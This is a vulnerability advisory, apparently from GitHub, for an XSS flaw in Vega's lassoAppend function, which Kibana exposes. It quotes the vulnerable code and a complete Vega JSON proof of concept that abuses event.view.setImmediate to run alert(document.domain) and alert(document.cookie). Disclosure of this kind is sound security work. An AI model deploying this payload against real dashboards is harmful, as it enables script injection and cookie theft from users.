### Summary
We (https://github.com/elastic/kibana) got a HackerOne report about XSS in Kibana via Vega’s `lassoAppend` function (undisclosed, author asked us to report it on his behalf): `lassoAppend` accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it’s not enforced.
This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`).
The originally reported PoC below is based on `event.view.setImmediate` which is available in Kibana (via Core-JS polyfill, not sure how popular this shim these days), but it’s not browser’s built-in API, and hence not immediately exploitable via Vega alone. I couldn’t quickly find a substitution to decouple the PoC from Kibana (`event.view.console.log` and alike work, but aren’t that harmful), but I guess with enough desire it’s possible to find one.
### Details
The issue is that [`lassoAppend`](https://github.com/vega/vega/blob/7eafbbd4d53d0ce9f08e74ff96c90d411b1bb80a/packages/vega-functions/src/functions/lasso.js#L13) doesn’t enforce proper types of its arguments:
“`js
…..
export function lassoAppend(lasso, x, y, minDist = 5) {
const last = lasso[lasso.length – 1];
// Add point to lasso if distance to last point exceed minDist or its the first point
if (last === undefined || Math.sqrt(((last[0] – x) ** 2) + ((last[1] – y) ** 2)) > minDist) {
lasso.push([x, y]);
…..
“`
### PoC
Use the following Vega snippet (depends on browser’s non-built-in `event.view.setImmediate` function, feel free to replace with `event.view.console.log` or alike and observe the result in the browser’s console)
“`json
{
“$schema”: “https://vega.github.io/schema/vega/v5.json”,
“width”: 350,
“height”: 350,
“autosize”: “none”,
“description”: “Toggle Button”,
“signals”: [
{
“name”: “toggle”,
“value”: false,
“on”: [
{
“events”: {“type”: “click”, “markname”: “circle”},
“update”: “toggle ? false : true”
}
]
},
{
“name”: “addFilter”,
“on”: [
{
“events”: {“type”: “mousemove”, “source”: “window”},
“update”: “lassoAppend({‘push’:event.view.setImmediate},’alert(document.domain)’,’alert(document.cookie)’)”
}
]
}
],
“marks”: [
{
“name”: “circle”,
“type”: “symbol”,
“zindex”: 1,
“encode”: {
“enter”: {
“y”: {“signal”: “height/2”},
“angle”: {“value”: 0},
“size”: {“value”: 400},
“shape”: {“value”: “circle”},
“fill”: {“value”: “white”},
“stroke”: {“value”: “white”},
“strokeWidth”: {“value”: 2},
“cursor”: {“value”: “pointer”},
“tooltip”: {“signal”: “{Tip: ‘Click to fire XSS’}”}
},
“update”: {“x”: {“signal”: “toggle === true ? 190 : 165”}}
}
},
{
“name”: “rectangle”,
“type”: “rect”,
“zindex”: 0,
“encode”: {
“enter”: {
“x”: {“value”: 152},
“y”: {“value”: 162.5},
“width”: {“value”: 50},
“height”: {“value”: 25},
“cornerRadius”: {“value”: 20}
},
“update”: {
“fill”: {“signal”: “toggle === true ? ‘#006BB4’ : ‘#939597′”}
}
}
}
]
}
“`
### Impact
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality).Read More
References
Back to Main